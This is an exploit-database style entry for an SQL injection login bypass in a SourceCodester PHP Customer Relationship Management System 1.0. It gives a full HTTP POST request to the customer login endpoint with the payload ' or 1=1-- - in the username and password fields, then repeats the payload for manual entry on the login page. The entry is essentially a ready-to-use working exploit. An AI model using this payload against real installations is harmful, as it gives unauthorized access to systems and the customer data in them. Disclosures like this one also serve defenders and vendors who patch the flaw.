Customer Relationship Management (CRM) System 1.0 SQL Injection Vulnerability

# Exploit Title: Customer Relationship Management (CRM) System 1.0 - Admin Bypass (SQLi) 
# Exploit Author: Richard Jones
# Vendor Homepage: https://www.sourcecodester.com/php/14794/customer-relationship-management-crm-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14794&title=Customer+Relationship+Management+%28CRM%29+System+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: # Tested on: windows 10 (build 19041) + xampp v3.2.4



POST /crm/classes/Login.php?f=clogin HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 47
Origin: http://localhost
Connection: close
Referer: http://localhost/crm/customer/login.php
Cookie: PHPSESSID=fspsjsh0e5tiq6hdnlmb9aigo2

username='+or+1%3D1--+-&password='+or+1%3D1--+-


Or goto the login page and enter the below payload
Payload: 
' or 1=1-- -